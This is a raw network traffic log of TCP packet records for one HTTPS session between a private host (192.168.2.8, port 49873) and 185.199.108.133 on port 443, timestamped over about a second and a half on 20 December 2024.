Dec 20, 2024 16:21:55.140433073 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.140450954 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.140510082 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.140520096 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.140578032 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.145493984 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.145510912 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.145560980 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.145567894 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.145606995 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.150825024 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.150841951 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.150902987 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.150919914 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.150971889 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.232120037 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.232141972 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.232180119 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.232192039 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.232228994 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.232244015 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.237147093 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.237164021 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.237210989 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.237217903 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.237241983 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.237253904 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.242708921 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.242726088 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.242779970 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.242789984 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.242826939 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.252743006 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.252763033 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.252811909 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.252825975 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.252842903 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.252865076 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.320962906 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.327548981 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.327573061 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.327625990 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.327652931 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.327667952 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.327688932 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.332636118 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.332657099 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.332722902 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.332747936 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.332784891 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.338051081 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.338069916 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.338149071 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.338177919 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.338217974 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.343449116 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.343467951 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.343554974 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.343584061 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.343624115 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.424755096 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.424777985 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.424824953 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.424858093 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.424870968 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.426568031 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.430331945 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.430350065 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.430409908 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.430428028 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.430480003 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.435292006 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.435307980 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.435347080 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.435374975 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.435389042 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.440407038 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.445060015 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.445066929 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.445111990 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.445138931 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.445151091 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.446494102 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.519767046 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.519790888 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.519840956 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.519881010 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.519896984 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.520037889 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.524473906 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.524492979 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.524555922 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.524564028 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.524606943 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.530174017 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.530189991 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.530249119 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.530265093 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.530308962 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.535615921 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.535643101 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.535695076 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.535707951 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.535720110 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.535753965 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.616785049 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.616815090 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.616866112 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.616904974 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.616919041 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.618421078 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.622354984 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.622373104 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.622441053 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.622464895 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.622508049 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.627187014 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.627227068 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.627254963 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.627273083 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.627289057 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.637593031 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.637639046 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.637671947 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.637706041 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.637720108 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.686265945 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.998101950 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.998130083 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.998214006 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:55.998246908 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:55.998294115 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.003218889 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.003262997 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.003287077 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.003298044 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.003318071 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.003340006 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.008836031 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.008883953 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.008908987 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.008917093 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.008944035 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.008960009 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.014373064 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.014420033 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.014441013 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.014453888 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.014467955 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.014492989 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.019570112 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.019612074 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.019648075 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.019654989 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.019690037 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.019709110 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.024751902 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.024796963 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.024837017 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.024846077 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.024876118 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.024895906 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.030648947 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.030692101 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.030723095 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.030731916 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.030744076 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.030767918 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.035630941 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.035672903 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.035700083 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.035710096 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.035727978 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.035746098 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.040818930 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.040860891 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.040887117 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.040910959 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.040919065 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.040956020 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.047195911 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.047240019 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.047276020 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.047286987 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.047297955 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.047327042 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.051445961 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.051487923 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.051517963 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.051527023 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.051537037 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.051563978 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.057243109 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.057305098 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.057316065 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.057329893 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.057360888 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.057380915 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.062268019 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.062325954 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.062340975 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.062350035 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.062385082 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.067667007 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.067698956 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.067740917 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.067749023 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.067766905 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.067779064 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.073267937 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.073316097 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.073340893 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.073359966 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.073385954 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.073404074 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.078460932 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.078505993 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.078527927 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.078536034 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.078564882 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.078581095 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.099340916 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.099373102 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.099427938 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.099436998 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.099484921 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.099484921 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.104680061 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.104698896 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.104738951 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.104747057 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.104760885 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.104784012 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.110409975 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.110425949 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.110486984 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.110496044 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.110536098 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.115703106 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.115753889 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.115777016 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.115784883 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.115808010 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.115823030 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.206156969 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.206182957 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.206223965 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.206264019 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.206275940 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.206299067 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.209413052 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.209459066 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.209496021 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.209502935 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.209512949 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.209542990 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.211946964 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.211992025 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.212012053 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.212019920 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.212038994 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.212059975 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.219019890 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.219063044 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.219098091 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.219105959 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.219134092 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.219149113 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.290538073 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.290574074 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.290607929 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.290621996 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.290632963 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.290656090 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.293637037 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.293667078 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.293700933 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.293708086 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.293734074 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.293752909 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.297403097 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.297429085 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.297466040 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.297473907 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.297498941 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.297508001 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.300659895 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.300684929 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.300729036 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.300735950 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.300760031 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.300775051 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.385812044 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.385843039 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.385876894 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.385891914 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.385914087 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.385929108 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.398528099 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.398561001 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.398597956 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.398611069 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.398636103 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.398657084 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.401695013 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.401726961 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.401762009 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.401771069 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.401802063 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.401823044 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.411974907 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.412003994 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.412039995 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.412050962 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.412067890 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.412084103 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.483674049 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.483700991 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.483743906 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.483766079 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.483795881 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.483835936 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.487776995 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.487804890 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.487863064 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.487874031 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.487915039 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.491018057 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.491039991 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.491099119 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.491106033 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.491154909 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.494791985 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.494808912 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.494843006 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.494851112 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.494893074 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.578144073 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.578172922 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.578218937 CET	49873	443	192.168.2.8	185.199.108.133
